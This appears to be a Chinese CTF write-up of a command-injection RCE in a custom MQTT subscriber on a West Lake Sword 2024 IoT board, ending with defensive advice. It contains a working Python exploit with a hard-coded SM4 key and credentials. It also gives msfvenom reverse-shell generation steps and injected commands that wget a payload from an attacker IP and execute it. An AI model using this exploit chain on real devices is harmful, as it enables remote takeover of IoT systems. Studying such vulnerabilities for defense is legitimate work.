西湖论剑决赛IoT开发板 rce复现
字数 1527 2025-08-22 12:23:25
MQTT服务命令注入漏洞分析与利用教学
1. 漏洞背景
本教学基于西湖论剑2024决赛IoT开发板中的MQTT服务命令注入漏洞(RCE)进行详细分析。该漏洞存在于一个自定义的mosquitto_sub进程中,通过精心构造的MQTT消息可实现远程命令执行。
2. MQTT基础
2.1 MQTT简介
MQTT(Message Queuing Telemetry Transport)是ISO标准(ISO/IEC PRF 20922)下基于发布/订阅范式的消息协议,特点包括:
- 工作在TCP/IP协议族上
- 专为硬件性能低下的远程设备和网络状况糟糕的环境设计
- 轻量级,适合物联网设备通信
2.2 Mosquitto介绍
Mosquitto是一款实现了MQTT协议(v5.0, v3.1.1, v3.1)的开源消息代理软件:
- 提供轻量级的发布/订阅消息推送模式
- 广泛应用于低功耗传感器、嵌入式设备等场景
- 本案例中运行在1883端口,并通过8888端口转发
3. 漏洞分析
3.1 漏洞位置
漏洞存在于自定义的mosquitto_sub进程中,该进程:
- 指定了"block"和"logs"两个topic
- 处理"logs" topic的消息时会调用system函数在"/var/log"目录生成文件
3.2 漏洞触发流程
- 客户端向"logs" topic发布特定格式的JSON消息
- 服务端解析消息中的"info"字段
- 字段内容经过SM4加密和Base64编码处理
- 处理后的内容被直接拼接到system命令中执行
3.3 关键代码逻辑
逆向分析发现的关键处理流程:
- 输入数据格式:
{"log":1,"timestamp":"...","info":"..."} - "info"字段内容经过两轮处理变成info2
- info2校验通过后被拼接到system命令中
- 注入
"\n/bin/sh\n"等字符串可实现命令注入
4. 漏洞利用
4.1 利用条件
- 认证信息:用户名"xhlj2024",密码"2758934"
- 目标地址:192.168.1.1:8888
- 消息长度限制:总字符串长度不超过0x60
4.2 利用步骤
4.2.1 准备反弹shell
使用msfvenom生成MIPS架构的反弹shell:
msfconsole
use payload/linux/mipsle/shell_reverse_tcp
set LHOST <攻击机IP>
set LPORT 6666
generate -f elf -o m
4.2.2 构造利用代码
完整Python利用代码(关键函数):
import time
import struct
import base64
import paho.mqtt.client as mqtt
from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT
def pack_key(v24):
key_bytes = b''
for i in range(4):
key_bytes += struct.pack('<I', v24[i]) # 小端序打包
return key_bytes
def encode_sm4(value, key):
crypt_sm4 = CryptSM4()
crypt_sm4.set_key(key, SM4_ENCRYPT)
return crypt_sm4.crypt_ecb(value)
def get_input(command):
v24 = [0x9845DC01, 0x10CD5489, 0x67BA23FE, 0xEF32AB76]
key_bytes = pack_key(v24)
cmd = b'"\n' + command + b'\n'
cmd = cmd.ljust(0x20, b"a") # 填充到32字节
sm4_encode = encode_sm4(cmd, key_bytes)
if len(sm4_encode) > 0x30:
print("[!] SM4加密后数据过长")
exit(0)
after_base64_decode = b"\xbf" + sm4_encode
mos_input = base64.b64encode(after_base64_decode)
return mos_input.decode()
4.2.3 执行利用
-
构造三条命令:
- 下载恶意文件:
wget http://<攻击机IP>:9/m -O /m - 添加执行权限:
chmod +x /m - 执行文件:
/m
- 下载恶意文件:
-
构造对应的MQTT消息:
cmd1 = b'wget http://192.168.1.219:9/m -O /m'
cmd2 = b'chmod +x /m'
cmd3 = b'/m'
input1 = get_input(cmd1)
input2 = get_input(cmd2)
input3 = get_input(cmd3)
p1 = '{"log":1,"timestamp":"11-11-11:11:11","info":"' + input1 + '"}'
p2 = '{"log":1,"timestamp":"11-11-11:11:11","info":"' + input2 + '"}'
p3 = '{"log":1,"timestamp":"11-11-11:11:11","info":"' + input3 + '"}'
- 发送MQTT消息:
client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION1)
client.username_pw_set(username="xhlj2024", password="2758934")
client.connect("192.168.1.1", 8888)
topic = "logs"
client.publish(topic, p1)
time.sleep(2)
client.publish(topic, p2)
time.sleep(2)
client.publish(topic, p3)
client.disconnect()
5. 加密处理分析
5.1 SM4加密
- 使用固定密钥:
[0x9845DC01, 0x10CD5489, 0x67BA23FE, 0xEF32AB76] - 加密模式:ECB模式
- 填充方式:使用"a"字符填充到32字节
5.2 Base64编码
- 在SM4加密结果前添加
\xbf字节 - 对整个结果进行Base64编码
- 最终长度必须能被4整除
6. 防御建议
-
输入验证:
- 严格过滤
\n等特殊字符 - 使用白名单验证输入内容
- 严格过滤
-
安全编码:
- 避免直接使用system等危险函数
- 使用execve等更安全的替代方案
-
加密改进:
- 使用动态密钥而非固定密钥
- 添加完整性校验机制
-
权限控制:
- 以低权限用户运行服务
- 实施最小权限原则
7. 总结
本漏洞展示了IoT设备中常见的几类安全问题:
- 不安全的输入处理导致命令注入
- 硬编码密钥带来的风险
- 不安全的函数调用(system)
- 缺乏足够的输入验证
通过分析此类漏洞,安全研究人员可以更好地理解IoT设备的安全威胁模型,并采取相应的防护措施。